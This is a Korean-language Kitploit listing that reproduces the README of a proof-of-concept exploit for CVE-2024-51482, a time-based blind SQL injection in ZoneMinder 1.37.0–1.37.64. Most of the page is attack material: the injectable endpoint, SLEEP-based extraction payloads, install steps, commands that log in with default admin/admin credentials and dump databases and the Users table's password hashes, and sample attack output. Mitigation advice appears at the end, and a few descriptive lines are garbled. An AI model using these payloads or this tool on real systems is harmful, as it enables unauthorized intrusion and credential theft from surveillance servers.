Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-51482 — ZenoMinder 블라인드 SQL 인젝션 PoC | Kitploit
도구/GitHubGitHub/bridgeralderson/cve-2024-51482
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder 블라인드 SQL 인젝션 PoC

저장소 보기
8466개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-51482 - ZoneMinder 블라인드 SQL 인젝션

목차

  • 개요
  • 취약점 세부 정보
  • 기술 분석
  • 공격 가이드
  • 설치
  • 사용 예제
  • 완화 조치
  • 참고 자료

개요

CVE-2024-51482는 인기 있는 오픈소스 CCTV 감시 소프트웨어인 ZoneMinder에서 발견된 심각한 boolean 기반 SQL 인젝션 취약점입니다. 이 결함은 버전 1.37.*부터 1.37.64까지 영향을 미치며, 낮은 권한을 가진 인증된 공격자가 기본 데이터베이스 서버에서 임의의 SQL 명령을 실행할 수 있도록 합니다.

지표값
CVE IDCVE-2024-51482
CVSS 점수9.9 (심각)
공격 벡터네트워크
필요 권한낮음
사용자 상호 작용없음
범위변경됨
영향기밀성, 무결성, 가용성 - 높음
패치 버전1.37.65

취약점 세부 정보

영향을 받는 버전

  • 취약: ZoneMinder v1.37.0 ~ v1.37.64.
  • 패치됨: ZoneMinder v1.37.65 이상.

근본 원인

취약점은 web/ajax/event.php 파일의 removetag 함수에 존재합니다. tid(태그 ID) 매개변수가 적절한 정제 또는 매개변수화 없이 SQL 쿼리에 직접 연결됩니다.

취약한 코드:

root@kitploit:~
case 'removetag':
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // 취약!
    $rowCount = dbNumRows($sql);
    // ...

수정된 코드:

root@kitploit:~
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // 매개변수화된 쿼리

공격 벡터

취약한 엔드포인트는 다음을 통해 트리거될 수 있습니다:

root@kitploit:~
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[인젝션_지점]

기술 분석

왜 Boolean 기반 블라인드 인젝션인가?

인젝션 지점은 응답에 쿼리 결과를 직접 반환하지 않으므로 전통적인 UNION 기반 공격이 불가능합니다. 대신, boolean 조건이나 시간 지연을 통해 정보를 추론해야 합니다.

  • Boolean 기반 접근 방식:
    • 조건 참 → 정상 응답 시간.
    • 조건 거짓 → 정상 응답 시간.
    • 애플리케이션 동작에서 관찰 가능한 차이가 필요함.
  • 시간 기반 접근 방식 (더 신뢰성 높음):
    • 조건 참 → 지연된 응답 (SLEEP).
    • 조건 거짓 → 정상 응답 시간.

익스플로잇 메커니즘

익스플로잇은 SLEEP() 함수를 사용한 시간 기반 추출을 사용합니다:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

이 조건이 참으로 평가되면 데이터베이스는 2초 동안 정지하여 HTTP 응답에 측정 가능한 지연을 생성합니다.

문자 추출 과정

  • 이진 탐색: 각 문자 위치에 대해 ASCII(SUBSTRING()) > MID를 사용하여 범위를 테스트합니다.
  • 시간 측정: 조건이 참이면 SLEEP이 트리거됩니다.
  • 문자 재구성: 문자를 하나씩 문자열로 만듭니다.

위치 1의 문자를 추출하는 예제 페이로드:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

공격 가이드

전제 조건

  • ZoneMinder 1.37.0 ~ 1.37.64를 실행하는 대상.
  • 유효한 자격 증명 (기본값: admin/admin).
  • ZoneMinder 웹 인터페이스에 대한 네트워크 접근.

설치

root@kitploit:~
# 저장소 클론
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# 스크립트 실행 권한 부여
chmod +x CVE-2024-51482.py

# 필요한 종속성 설치
pip3 install requests

기본 사용법

root@kitploit:~
# 대상이 취약한지 테스트
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --test

# 모든 데이터베이스 검색
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --discover

# 특정 데이터베이스의 테이블 나열
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --tables zm

# 특정 테이블의 컬럼 나열
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --columns zm Users

# 특정 컬럼에서 데이터 덤프
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --dump zm Users "Username,Password"

# 사용자 테이블 덤프 (기본값)
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --users

# 상세 추출 과정을 위한 디버그 출력 활성화
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --users --debug

# 더 신뢰성 있는 추출을 위한 수면 시간 조정
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --users --sleep 3

# 컬러 출력 비활성화
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --users --no-color

사용 예제

예제 1: 취약점 테스트

root@kitploit:~
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder 블라인드 SQL 인젝션 익스플로잇
[*] 대상: 192.168.1.100
[*] 192.168.1.100에 'admin'으로 로그인 중...
[+] 로그인 성공
[*] 기준 응답 시간 측정 중...
[*] 기준 중간값: 0.058초
[*] 2초 수면으로 취약점 테스트 중...
[+] 대상이 취약합니다!

예제 2: 데이터베이스 열거

root@kitploit:~
$ python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder 블라인드 SQL 인젝션 익스플로잇
[*] 대상: <대상-호스트>
[*] <대상-호스트>에 'admin'으로 로그인 중...
[+] 로그인 성공
[*] 기준 응답 시간 측정 중...
[*] 기준 중간값: 0.065초
[*] 2초 수면으로 취약점 테스트 중...
[+] 대상이 취약합니다!
[*] 데이터베이스 열거 중...
[+] 데이터베이스 발견: information_schema
[+] 데이터베이스 발견: performance_schema
[+] 데이터베이스 발견: zm
[+] 발견된 데이터베이스:
1. information_schema
2. performance_schema
3. zm

예제 3: 사용자 자격 증명 덤프

root@kitploit:~
$ python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder 블라인드 SQL 인젝션 익스플로잇
[*] 대상: <대상-호스트>
[*] <대상-호스트>에 'admin'으로 로그인 중...
[+] 로그인 성공
[*] 기준 응답 시간 측정 중...
[*] 기준 중간값: 0.062초
[*] 2초 수면으로 취약점 테스트 중...
[+] 대상이 취약합니다!
[*] zm 데이터베이스에서 Users 테이블 덤프 중...
[*] 'zm.Users'의 컬럼 열거 중...
[+] 컬럼 발견: Id
[+] 컬럼 발견: Username
[+] 컬럼 발견: Password
[+] 컬럼 발견: Language
[+] 컬럼 발견: Enabled
[*] 'zm.Users'에서 데이터 덤프 중...
[+] 행 1: {'Username': 'admin', 'Password': '$2y$10$...해시됨...'}
[+] 행 2: {'Username': 'operator', 'Password': '$2y$10$...해시됨...'}
[+] 추출된 사용자: 2
사용자: admin
비밀번호: $2y$10$...해시됨...
이메일: admin@localhost
활성화: 1
사용자: operator
비밀번호: $2y$10$...해시됨...
이메일: operator@localhost
활성화: 1

예제 4: 사용자 정의 데이터 추출

root@kitploit:~
# Events 테이블에서 특정 컬럼 덤프
python3 CVE-2024-51482.py -i <대상-호스트> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

익스플로잇 작동 방식

단계별 설명

  1. 인증: 스크립트는 먼저 ZoneMinder에 인증하여 유효한 세션 쿠키를 얻습니다.
  2. 기준 측정: 5개의 정상 요청을 보내 평균 응답 시간을 설정합니다.
  3. 취약점 확인: SLEEP(2) 페이로드로 인젝션이 작동하는지 테스트합니다.
  4. 문자 추출: 각 문자 위치에 대해 이진 탐색으로 ASCII 값을 결정합니다:
    • 쿼리: ASCII(SUBSTRING(({query}), {position}, 1)) > {mid}.
    • 조건 참 → SLEEP 트리거 → 응답 지연.
    • 조건 거짓 → 즉시 응답.
  5. 문자열 재구성: 문자를 연결하여 완전한 문자열을 만듭니다.

주요 기능

  • 이진 탐색 알고리즘: 문자당 log₂(95) ≈ 7개 요청으로 문자 추출.
  • 적응형 타이밍: 정확한 탐지를 위해 기준을 자동으로 보정.
  • 진행 표시기: 실시간 추출 진행 상황 표시.
  • 오류 복구: 연결 시간 초과를 우아하게 처리.
  • 디버그 모드: 문자별 추출 과정을 상세히 보여줌.

완화 조치

즉시 조치

  • ZoneMinder를 버전 1.37.65 이상으로 업데이트:
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install zoneminder
    
  • 패치가 불가능한 경우, 취약한 스크립트에 대한 접근 제한:
    root@kitploit:~
    # Apache 설정
    Require ip 192.168.0.0/16
    
  • 데이터베이스 계정에 최소 권한 원칙 적용.
  • 의심스러운 SQL 인젝션 시도 로그 모니터링:
    root@kitploit:~
    grep -i "sleep\|union\|select" /var/log/zm/*.log
    

장기 권장 사항

  • 모든 데이터베이스 상호 작용에 매개변수화된 쿼리 사용.
  • 웹 애플리케이션 방화벽(WAF) 규칙 구현.
  • 정기적인 보안 감사 및 침투 테스트.
  • ZoneMinder 및 모든 종속성을 최신 상태로 유지.

참고 자료

  • GitHub 보안 권고 - GHSA-qm8h-3xvf-m7j3
  • NVD 항목 - CVE-2024-51482
  • 패치 커밋
  • CISA 취약점 보강
  • Tenable Nessus 플러그인
  • Check Point 권고

면책 조항

이 도구는 교육 및 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 테스트는 불법입니다. 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.

CVSS 벡터 문자열

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

도구 다운로드
지표값
공격 벡터네트워크
공격 복잡성낮음
필요 권한낮음
사용자 상호 작용없음
범위변경됨
기밀성높음
무결성높음
가용성높음